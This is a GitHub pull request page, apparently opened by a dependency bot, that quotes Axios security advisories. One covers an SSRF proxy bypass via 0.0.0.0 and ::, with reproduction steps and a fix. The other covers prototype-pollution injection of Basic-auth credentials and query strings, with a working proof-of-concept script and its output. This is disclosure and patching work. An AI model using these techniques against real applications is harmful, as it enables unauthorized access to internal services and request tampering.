  • Attacker container: Runs the test script with Axios source mounted

Reproduction steps:

cd /tmp/deep-e2e
docker compose up -d
docker compose exec attacker node test-ssrf.js

Results:

  • Test 1: 127.0.0.1 + NO_PROXY=localhost → BYPASS (correct)
  • Test 2: 0.0.0.0 + NO_PROXY=localhost → VIA_PROXY (SSRF)
  • Test 3: [::] + NO_PROXY=localhost → VIA_PROXY (SSRF)
  • Test 4: [::ffff:0.0.0.0] + NO_PROXY=localhost → VIA_PROXY (SSRF)
Phase 3: Actual Axios Client

The real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration:

  • Axios with proxy: { host: 'proxy', port: 8888 }
  • Setting NO_PROXY=localhost and requesting http://0.0.0.0:9999/
  • Result: Axios forwarded the request through the proxy instead of bypassing it
4. Impact
Attack Scenario
  1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain)
  2. The Axios client is configured with a proxy (e.g., corporate proxy) and NO_PROXY=localhost to protect internal services
  3. Attacker supplies http://0.0.0.0:8080/admin as the target URL
  4. Axios sends the request through the proxy
  5. The proxy resolves 0.0.0.0 → the proxy's own loopback → reaches the internal admin service on port 8080
Potential Consequences
  • Information disclosure (C:L): Internal service responses become accessible
  • Integrity impact (I:L): Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE)
  • Availability impact (A:L): Limited — depends on internal service behavior
Likelihood
  • High — proxy bypass is a common pattern in microservice architectures
  • Medium — requires attacker control of a URL (not always available)
5. Remediation
Code Fix

File: lib/helpers/shouldBypassProxy.js

function isIPv4Loopback(host) {
  if (host === '0.0.0.0') return true;  // ADD THIS LINE
  const parts = host.split('.');
  if (parts.length !== 4) return false;
  if (parts[0] !== '127') return false;
  return parts.every(p => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
}

function isIPv6Loopback(host) {
  if (host === '::1' || host === '::') return true;  // ADD '::'
  // ... rest of implementation
}
Workarounds
  • Add 0.0.0.0 and :: to the NO_PROXY environment variable explicitly
  • Use 127.0.0.1 instead of 0.0.0.0 in all internal service URLs
  • Implement URL validation to reject 0.0.0.0 and :: before passing to Axios

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: Nested axios option objects can consume polluted prototype values

GHSA-7q8q-rj6j-mhjq

More information

Details

Summary

Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted Object.prototype.

The top-level merged config is protected with a null prototype, but nested plain objects such as auth and paramsSerializer are cloned into ordinary objects. If application code passes placeholders such as auth: {} or paramsSerializer: {}, inherited username, password, encode, or serialize properties can influence outbound requests.

Impact

This is reachable only when another component has already polluted Object.prototype and the application passes an affected nested axios option object.

Confirmed impacts include silent injection of an Authorization: Basic ... header from inherited username and password values, and query-string tampering when inherited paramsSerializer fields are function-valued.

The auth case requires only string-valued pollution. Full query-string replacement through paramsSerializer.serialize requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through encode.

This does not mean every axios request is affected. Requests that do not pass auth, do not pass paramsSerializer, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.

Affected Functionality

Affected runtime functionality:

  • Node HTTP adapter Basic auth handling in lib/adapters/http.js.
  • Browser/fetch/XHR Basic auth handling through lib/helpers/resolveConfig.js.
  • Query serialization through lib/helpers/buildURL.js.
  • axios.getUri() when called with an affected paramsSerializer object.

Affected config shapes:

  • auth: {} or an auth object missing own username and/or password.
  • paramsSerializer: {} or a paramsSerializer object missing own encode and/or serialize.

Unaffected by this specific issue:

  • Requests with no auth property.
  • Requests with no paramsSerializer property.
  • Top-level polluted auth or paramsSerializer values in current hardened versions.
Technical Details

lib/core/mergeConfig.js creates the top-level merged config with Object.create(null), but nested object cloning still uses ordinary {} containers:

} else if (utils.isPlainObject(source)) {
  return utils.merge({}, source);
}

Downstream code then reads nested fields without own-property checks.

In lib/helpers/resolveConfig.js:

btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))

In lib/adapters/http.js:

const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;

In lib/helpers/buildURL.js:

const _encode = (options && options.encode) || encode;
const serializeFn = _options && _options.serialize;
Proof of Concept of Attack
import http from 'node:http';
import axios from './index.js';

const user = 'attacker';
const pass = 'exfil';

Object.defineProperty(Object.prototype, 'username', {
  value: user,
  configurable: true
});

Object.defineProperty(Object.prototype, 'password', {
  value: pass,
  configurable: true
});

Object.defineProperty(Object.prototype, 'serialize', {
  value: () => 'polluted=1',
  configurable: true
});

const server = http.createServer((req, res) => {
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({
    authorization: req.headers.authorization || null,
    url: req.url
  }));
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));

try {
  const port = server.address().port;
  const response = await axios.get(`http://127.0.0.1:${port}/demo`, {
    auth: {},
    paramsSerializer: {},
    params: { unused: 'ignored' }
  });

  console.log(response.data);
} finally {
  await new Promise((resolve) => server.close(resolve));
  delete Object.prototype.username;
  delete Object.prototype.password;
  delete Object.prototype.serialize;
}

Observed result:

{
  "authorization": "Basic YXR0YWNrZXI6ZXhmaWw=",
  "url": "/demo?polluted=1"
}
Workarounds

If upgrading is not yet possible, avoid passing placeholder nested option objects.

Remove auth entirely when Basic auth is not intended. For paramsSerializer objects, provide explicit own encode and serialize properties or remove paramsSerializer when custom serialization is not required.

These workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.

Original Report
Summary

axios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string.

Details

mergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers:

mergeConfig.js Lines 36-45

  function getMergedValue(target, source, prop, caseless) {
    if (utils.isPlainObject(target) && utils.isPlainObject(source)) {
      return utils.merge.call({ caseless }, target, source);
    } else if (utils.isPlainObject(source)) {
      return utils.merge({}, source);
    } else if (utils.isArray(source)) {
      return source.slice();
    }
    return source;
  }

The cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:

Browser / fetch Basic auth — lib/helpers/resolveConfig.js:
resolveConfig.js Lines 64-70

  if (auth) {
    headers.set(
      'Authorization',
      'Basic ' +
        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
    );
  }

Node HTTP adapter Basic auth — lib/adapters/http.js:
http.js Lines 829-836

      // HTTP basic authentication
      let auth = undefined;
      const configAuth = own('auth');
      if (configAuth) {
        const username = configAuth.username || '';
        const password = configAuth.password || '';
        auth = username + ':' + password;
      }

paramsSerializer reads — lib/helpers/buildURL.js:
buildURL.js Lines 31-54

export default function buildURL(url, params, options) {
  if (!params) {
    return url;
  }
  const _encode = (options && options.encode) || encode;
  const _options = utils.isFunction(options)
    ? {
        serialize: options,
      }
    : options;
  const serializeFn = _options && _options.serialize;
  let serializedParams;
  if (serializeFn) {
    serializedParams = serializeFn(params, _options);
  } else {
    serializedParams = utils.isURLSearchParams(params)
      ? params.toString()
      : new AxiosURLSearchParams(params, _options).toString(_encode);
  }

Because auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.

The auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.

PoC
import http from 'node:http';
import axios from '../../index.js';

const ATTACKER_USER = 'attacker';
const ATTACKER_PASS = 'exfil';
const ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64');

// Step 1: simulate a pre-existing prototype-pollution primitive in this process.
// In reality, a separate dependency would have done this. We keep the
// "polluted" properties non-enumerable so they only affect inherited reads,
// which is the realistic shape of most prototype-pollution gadgets.
Object.defineProperty(Object.prototype, 'username', {
  value: ATTACKER_USER,
  configurable: true,
});
Object.defineProperty(Object.prototype, 'password', {
  value: ATTACKER_PASS,
  configurable: true,
});
Object.defineProperty(Object.prototype, 'serialize

> ✂ **Note**
> 
> PR body was truncated to here.

@github-actions

github-actions Bot commented Jul 20, 2026

Copy link
Copy Markdown

Coverage report

This PR does not seem to contain any modification to coverable code.

@renovate
renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 9c88f40 to b6cf57c Compare July 24, 2026 21:33
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants